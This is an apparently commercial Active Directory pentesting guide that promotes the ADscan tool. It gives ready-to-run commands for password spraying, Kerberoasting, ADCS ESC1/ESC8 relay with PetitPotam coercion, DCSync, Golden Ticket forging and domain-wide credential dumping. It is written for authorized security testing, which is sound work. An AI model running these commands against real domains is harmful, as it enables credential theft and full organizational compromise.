Active Directory Pentesting: Complete Operator Guide (2026)

Active Directory runs the authentication and authorization infrastructure for over 90% of enterprise environments worldwide. When you compromise Active Directory, you do not compromise one system — you compromise every system that trusts it, which in most organizations is all of them. Domain Admin is not a server access. It is full organizational control: read any mailbox, access any file share, push code to any machine, exfiltrate anything.

The core methodology for active directory pentesting has not changed much in the past decade. Enumerate, find misconfigurations, escalate. What has changed is tooling quality, attack surface complexity (ADCS, Azure AD hybrid, conditional access), and the sophistication of the misconfigurations operators find. Modern enterprise AD environments are large, layered, and almost always contain exploitable paths — because they were built incrementally over years by teams with different priorities, and security reviews rarely keep pace.

This guide walks the complete methodology: from arriving on the network with no credentials to Domain Admin and final reporting. Each section covers the technique, the key tools, and the commands that matter. ADscan automates significant portions of this workflow — but understanding the manual techniques behind each phase is what separates operators from script runners.

MITRE ATT&CK Coverage

This guide covers the following techniques from the MITRE ATT&CK framework:

Phase 0: Scope and Prerequisites

Written authorization is the first deliverable of any engagement, not the last formality before you start. Define the scope explicitly before running a single command:

• Domains in scope: Which Active Directory domains and child domains are authorized targets. Get the domain FQDN and NetBIOS name for each.
• IP ranges: Specify subnet ranges. Out-of-scope systems, especially production databases and critical infrastructure, must be named explicitly.
• Excluded systems: Obtain a list of servers that cannot tolerate any disruption — SCADA, medical devices, legacy systems without failover. These are off-limits for active exploitation.
• Escalation procedures: Who do you call if you accidentally cause an outage? Who approves the use of specific techniques (DCSync, Kerberoasting in production)?
• Time window: Active pentesting should be constrained to defined hours. Some techniques generate noisy logs; coordinating with the security team prevents alert fatigue and false incident responses.

For tooling, you need: a Linux machine (Kali or ParrotOS recommended), network access to the target environment (physical or VPN), and Python 3 with impacket installed. ADscan runs in Docker — install once, works across engagements without dependency conflicts.

Phase 1: Unauthenticated Recon

Before you have credentials, the goal is narrow: find the domain name, identify Domain Controller IPs, discover exposed services, and locate potential entry points. Work with what is available over the network without authentication.

Domain and DC discovery. If you have DHCP-assigned DNS, the domain may already be in your resolver configuration. Otherwise, use nmap to identify the DC:

nmap -p 389,636,88,53,445 --open -sV TARGET-SUBNET

Kerberos (88), LDAP (389), LDAPS (636), DNS (53), and SMB (445) all indicate a Domain Controller. Once you have the DC IP, confirm the domain:

nmap -sU -p 53 --script dns-nsid DC-IP

LDAP anonymous bind. Some Domain Controllers — particularly older deployments or misconfigured ones — allow LDAP queries without authentication. This can expose user accounts, group memberships, and password policy:

ldapsearch -x -h DC-IP -b "" -s base namingContexts
ldapsearch -x -h DC-IP -b "DC=domain,DC=local" -s sub "(objectClass=user)" cn

If the second query returns results, you have an unauthenticated LDAP exposure — a finding in its own right and a direct path to building a valid username list.

SMB null sessions. Some servers accept SMB connections with no credentials and return share listings, local user accounts, or domain policy information:

smbclient -L //DC-IP -N
enum4linux -a DC-IP

A null session that returns domain information gives you a username list — which is all you need to attempt AS-REP roasting without credentials.

AS-REP roasting without credentials. If you have a valid username list and any accounts have Kerberos pre-authentication disabled, you can extract their encrypted TGT without knowing a password:

GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC-IP -no-pass -format hashcat

This requires only a valid username, not a password. The resulting hash goes directly to hashcat. See the AS-REP Roasting guide for the full exploitation process.

ADscan start_unauth automates all of this: DC discovery, LDAP anonymous bind probe, SMB null session check, and AS-REP roasting against any discovered usernames. Output is logged to the workspace for evidence.

Phase 2: Initial Foothold

Getting the first set of credentials is the pivot point of an engagement. Everything before this is reconnaissance. Everything after it is exploitation. Methods, from lowest risk to highest:

GPP passwords in SYSVOL. Group Policy Preferences stored credentials in XML files until Microsoft patched this in 2014 — but the files persist in SYSVOL on any domain that ran pre-2014 Group Policy. The AES-256 key was published by Microsoft:

Get-GPPPassword  # PowerSploit
findstr /S /I cpassword \\DC\SYSVOL\*.xml  # Windows

This is a no-authentication-required check if SYSVOL is accessible with a null session, and a silent, artifact-free credential harvest if it yields results.

Guest account and default credentials. Check for enabled guest accounts and test default credentials against common services: admin:admin, administrator:administrator, vendor-specific defaults on network devices in scope. These are low-noise checks.

Password spraying. One password, many usernames. The goal is to stay under the lockout threshold. Before you spray, extract the domain password policy — specifically the lockout threshold and observation window. Spray at a rate that guarantees no lockout: one attempt per account per observation window:

nxc smb DC-IP -u users.txt -p 'Spring2026!' --no-bruteforce

Common patterns that still work: Season+Year!, Company+Year!, Welcome1, Password1. The risk is account lockout if you misread the policy or if multiple teams are spraying simultaneously. Always confirm the lockout policy in writing before spraying.

NTLM relay from unauthenticated position. If you can trigger NTLM authentication from a machine in scope — via coercion techniques (PetitPotam, PrinterBug, DFSCoerce) or by positioning on the network — you can relay that authentication to another service without ever cracking a hash. This requires network positioning and is covered in the Phase 5 section alongside ADCS ESC8.

Once you have any domain account — even a standard user with no special privileges — the attack surface changes completely.

Phase 3: Authenticated Enumeration

With a domain account, LDAP is fully open. Any authenticated user can query the entire Active Directory object graph: all users, all groups, all computers, all GPOs, all trust relationships, all ACLs. This is by design — AD is a directory service and was built for read access by domain members.

BloodHound collection. The most efficient way to map the entire environment:

bloodhound-python -u USER -p 'PASS' -d domain.local -c All -ns DC-IP

This produces JSON files covering all LDAP objects and their relationships. Import into BloodHound CE to query for paths. See the AD Attack Paths with BloodHound guide for full analysis methodology.

Manual LDAP enumeration. For targeted queries without BloodHound overhead:

# Enumerate all users
ldapsearch -x -h DC-IP -D "[email protected]" -w 'PASS' -b "DC=domain,DC=local" "(objectClass=user)" cn sAMAccountName memberOf

# Find accounts with SPNs (Kerberoasting candidates)
ldapsearch -x -h DC-IP -D "[email protected]" -w 'PASS' -b "DC=domain,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" cn servicePrincipalName

# Find accounts without pre-auth (AS-REP candidates)
ldapsearch -x -h DC-IP -D "[email protected]" -w 'PASS' -b "DC=domain,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" cn

Key things to find during enumeration:

• Privileged group memberships: Domain Admins, Enterprise Admins, Account Operators, Backup Operators, Print Operators, Server Operators. Any account in these groups is a high-value target.
• SPN-registered accounts: Kerberoasting candidates. Prioritize accounts with non-standard SPNs (service accounts, not computer accounts).
• Accounts without pre-authentication: AS-REP roasting targets. These require no further access to extract a hash.
• Accounts with replication rights: GetChanges + GetChangesAll = DCSync capability. Check for accounts that are not Domain Controllers but have these rights.
• ADCS presence: certutil -config - -ping or check for pKIEnrollmentService objects in LDAP. If ADCS is present, run a dedicated certificate template audit.
• Delegation configurations: Unconstrained delegation machines (any DC or servers with TRUSTED_FOR_DELEGATION set), constrained delegation accounts, and RBCD candidates.
• Trust relationships: Bidirectional domain and forest trusts expand your attack surface beyond the primary domain.

ADscan start_auth runs all of this enumeration against the domain and builds the attack graph natively, ranking paths by exploitability score. No external graph database required.

See the deep dives: Kerberoasting guide, AS-REP Roasting guide.

Phase 4: Kerberos Attacks

Kerberos is the authentication backbone of Active Directory and the source of several of the most reliable privilege escalation techniques. These attacks exploit how Kerberos tickets work — specifically, who can request them and how they are encrypted.

Kerberoasting. Any authenticated user can request a TGS ticket for any account with a Service Principal Name registered. That ticket is encrypted with the service account's NTLM hash. Extract the ticket and crack the hash offline:

GetUserSPNs.py domain.local/user:pass -dc-ip DC-IP -request -outputfile kerberoast.hashes
hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

No special permissions required. The attack generates Event ID 4769 (TGS request) — present in logs but rarely alerted on in most environments. Full technique coverage: Kerberoasting: Complete Operator Guide.

AS-REP Roasting. For accounts with Kerberos pre-authentication disabled, you can request a TGT from the KDC without knowing the password. The KDC responds with a blob encrypted with the user's hash:

GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC-IP -format hashcat -outputfile asrep.hashes
hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt

Unlike Kerberoasting, this works without authentication if you have a valid username list. Full technique: AS-REP Roasting guide.

Pass-the-Hash. With an NTLM hash — recovered from Kerberoasting, credential dumping, or another source — you can authenticate to any service that accepts NTLM without knowing the plaintext password:

psexec.py -hashes :NTLM-HASH domain/user@target
nxc smb TARGET-RANGE -u user -H NTLM-HASH

Pass-the-Hash works against SMB, WMI, RDP (if restricted admin is enabled), and any service that negotiates NTLM. It does not work against Kerberos-only authentication.

Pass-the-Ticket. With a valid Kerberos ticket (TGT or TGS), you can inject it into memory and use it for authentication without the underlying credentials:

# Linux: export ticket to ccache and use
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass domain/user@target

Pass-the-Ticket is particularly useful after Golden Ticket generation or when you have captured a TGT via unconstrained delegation coercion.

Overpass-the-Hash. Convert an NTLM hash into a Kerberos TGT using the hash as the credential. Useful when the target environment has NTLM disabled or restricted:

getTGT.py domain.local/user -hashes :NTLM-HASH -dc-ip DC-IP

Phase 5: ADCS Exploitation

Active Directory Certificate Services is present in most enterprise Active Directory deployments and is among the most underaudited attack surfaces in the environment. ADCS issues X.509 certificates for user and machine authentication, code signing, email encryption, and other purposes. When certificate templates are misconfigured, they become direct escalation paths.

The seminal research on ADCS attacks comes from SpecterOps (Certified Pre-Owned, 2021). The ESC numbering scheme identifies specific classes of misconfiguration. In practice, ESC1 and ESC8 are the most commonly encountered on real engagements.

Auditing certificate templates. The first step is identifying whether ADCS is present and finding vulnerable templates:

certipy find -u [email protected] -p 'PASS' -dc-ip DC-IP -vulnerable -stdout

If the output contains ESC1, ESC2, ESC4, or ESC8, you have a Domain Admin escalation path.

ESC1 — Misconfigured certificate template. A certificate template is vulnerable to ESC1 when all three conditions are met: low-privileged users can enroll, the template allows the requester to specify a Subject Alternative Name (SAN), and the certificate can be used for client authentication. This means any domain user can request a certificate that authenticates as Domain Admin:

# Request a certificate with DA SAN
certipy req -u [email protected] -p 'PASS' -ca CORP-CA -template VulnerableTemplate -upn [email protected] -dc-ip DC-IP

# Authenticate with the certificate and retrieve the DA hash
certipy auth -pfx administrator.pfx -dc-ip DC-IP

Full exploitation walkthrough: ADCS ESC1 Exploitation guide.

ESC8 — NTLM relay to the certificate enrollment web endpoint. The ADCS HTTP enrollment endpoint (http://CA/certsrv/) accepts NTLM authentication and does not enforce channel binding by default. If you can coerce a machine account — a Domain Controller, a server — to authenticate to your relay listener, you relay that authentication to the enrollment endpoint and request a certificate on behalf of the coerced machine. A DC machine account certificate yields a TGT for the DC, which yields DCSync:

# Start relay listener targeting the enrollment endpoint
ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce DC authentication to your listener
PetitPotam.py YOUR-IP DC-IP

# Use the base64 certificate from relay output
certipy auth -pfx dc.pfx -dc-ip DC-IP

ESC8 does not require any existing credentials beyond network access to the coercion target. On any network segment that can reach both the DC and the CA server, this is a network-level Domain Admin escalation. Full technique: ADCS ESC8 NTLM Relay Attack guide.

Phase 6: Attack Path Analysis

Individual misconfigurations are one finding. Attack paths are the full story. An account with GenericWrite over a group that contains an account with WriteDACL over a group that contains Domain Admins is three hops — none of which triggers an obvious finding in isolation, all of which together represent full domain compromise from a low-privileged starting point.

BloodHound models Active Directory as a directed graph and computes the shortest path between any two nodes. SpecterOps research shows that over 70% of AD environments contain an exploitable path from any authenticated user to Domain Admin. The path is almost always a chain of ACL-based edges across multiple object types.

Key BloodHound queries for finding domain escalation paths:

# Shortest paths from owned objects to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN [email protected]"})) RETURN p

# Find all Kerberoastable users with a path to DA
MATCH (u:User {hasspn:true}) MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN [email protected]"})) RETURN p

# Find computers where Domain Admins have active sessions
MATCH (n:Computer)-[:HasSession]->(m:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN [email protected]"}) RETURN n,m

# Find all users with DCSync rights
MATCH (u)-[:GetChanges|GetChangesAll*1..]->(d:Domain) RETURN u

Common attack path patterns encountered on real engagements:

• GenericAll on User → password reset → new credentials → group membership chain to DA
• WriteDACL on Group → grant self AddMember → add self to privileged group
• Unconstrained delegation machine → coerce DC authentication → ticket capture → Pass-the-Ticket as DC → DCSync
• RBCD candidate → configure resource-based constrained delegation → S4U2Self → S4U2Proxy → access target as DA
• Shadow credentials → WriteProperty on target → add key credential → certificate auth as target

Mark every compromised account as owned in BloodHound as you progress through the engagement. The graph updates the reachable paths automatically, and what appeared to be a dead end from your starting account may resolve into a direct path once you are operating from an intermediate account.

Full analysis methodology: AD Attack Paths with BloodHound guide.

ADscan builds the same attack graph natively from its LDAP collection output, without requiring a separate BloodHound deployment. The attack_paths command ranks discovered paths by exploitability and required steps.

Phase 7: Privilege Escalation to Domain Admin

Once you have identified an exploitable path, the execution is methodical. Each step requires operator confirmation, careful evidence capture, and awareness of what artifacts you are leaving behind.

DCSync. If you have an account with Replication Directory Changes + Replication Directory Changes All rights — obtained through ACL manipulation, ADCS exploitation, or direct compromise of a DA — you can replicate the domain controller's credential store:

secretsdump.py domain.local/user:pass@DC-IP -just-dc-ntlm

This dumps NTLM hashes for every account in the domain, including the krbtgt account. The krbtgt hash is the master key — it signs all Kerberos tickets. With it, you can forge valid Kerberos tickets for any account with any group memberships. Full technique: DCSync Attack guide.

Golden Ticket. With the krbtgt NTLM hash and the domain SID, forge a TGT that grants Domain Admin access. Golden Tickets survive password changes on all accounts except krbtgt itself. They are valid until the krbtgt account password is changed twice (the current and previous hash must both be rotated):

ticketer.py -nthash KRBTGT-HASH -domain-sid S-1-5-21-... -domain domain.local -groups 512 administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@DC-IP

Credential harvesting for lateral movement. After reaching DA, the reporting phase requires demonstrating impact. Common credential harvesting operations:

# SAM database (local accounts on member servers)
secretsdump.py domain/administrator:pass@TARGET -sam

# LSA secrets (service account credentials stored locally)
secretsdump.py domain/administrator:pass@TARGET -lsa

# NTDS.dit (full domain credential database via DC)
secretsdump.py domain/administrator:pass@DC-IP -just-dc

Avoid LSASS memory dumping unless specifically required for the engagement objective — it generates the highest-severity EDR alerts and is the technique most likely to trigger an incident response. If you have DA, secretsdump via DCSYNC provides equivalent credential access without touching LSASS.

Phase 8: Evidence and Reporting

Evidence quality determines whether your findings drive remediation or get deprioritized. Findings without evidence are assertions. Evidence without context is noise. The goal is a package that a security-conscious board can present to leadership and a technical team can act on the day they receive it.

During execution, capture:

• Screenshots of each exploitation step with visible timestamps
• Full command output — not just the successful command, but the enumeration that led to it
• The exact user account and machine you operated from for each step
• Network timestamps from any packet captures if relevant
• Tool output files (BloodHound JSON, certipy output, secretsdump output)

ADscan workspaces automatically timestamp and log all command output. Every enumeration result, every attack step, every credential captured is saved to the workspace directory with session metadata.

Report structure for a complete AD assessment:

Executive Summary. Business impact, risk posture score (overall and by category), attack path summary in non-technical language. The board does not need to understand Kerberoasting — they need to understand that an attacker with any employee credential could have achieved full organizational control in under four hours.

Technical Findings. Each finding presented with: CVSS score, affected assets, technical description, proof-of-concept evidence (screenshot + command), business impact, and remediation steps ordered by effort and impact. Findings should be linked to each other where they form part of an attack chain.

Attack Path Diagrams. Visual representation of the paths from initial foothold to Domain Admin. The diagram makes the chain of exploitation legible to technical stakeholders who were not in the room during the assessment.

Remediation Roadmap. Prioritized list of fixes grouped by effort. Quick wins (disable accounts, fix ACLs, enable pre-authentication) first. Architectural changes (tiered AD model, decommissioning legacy protocols) in the medium-term track. Each item with an owner, timeline, and expected risk reduction.

ADscan PRO generates all four documents — executive PDF, technical PDF, attack path diagrams, and remediation roadmap — in 90 seconds from the workspace data. Request PRO beta access — currently free for security consultants in exchange for feedback.

Conclusion

Active directory pentesting is a methodology, not a checklist. Tools change. New attack classes emerge — ADCS went from academic research to standard engagement finding in two years. The fundamentals do not change: understand the protocols, enumerate systematically, map the paths, execute with precision, and document everything.

The methodology in this guide reflects what works on real engagements against real enterprise environments in 2026. Each section links to a deeper technical post with the full technique coverage, tool options, and operational considerations.

ADscan LITE is free and open source — it automates the enumeration and attack graph analysis phases so you spend your time on exploitation and analysis, not running the same LDAP queries on every engagement.

Download ADscan LITE: https://github.com/ADScanPro/adscan

ADscan PRO adds the client deliverable kit — four PDFs generated from the workspace in 90 seconds: https://adscanpro.com/pro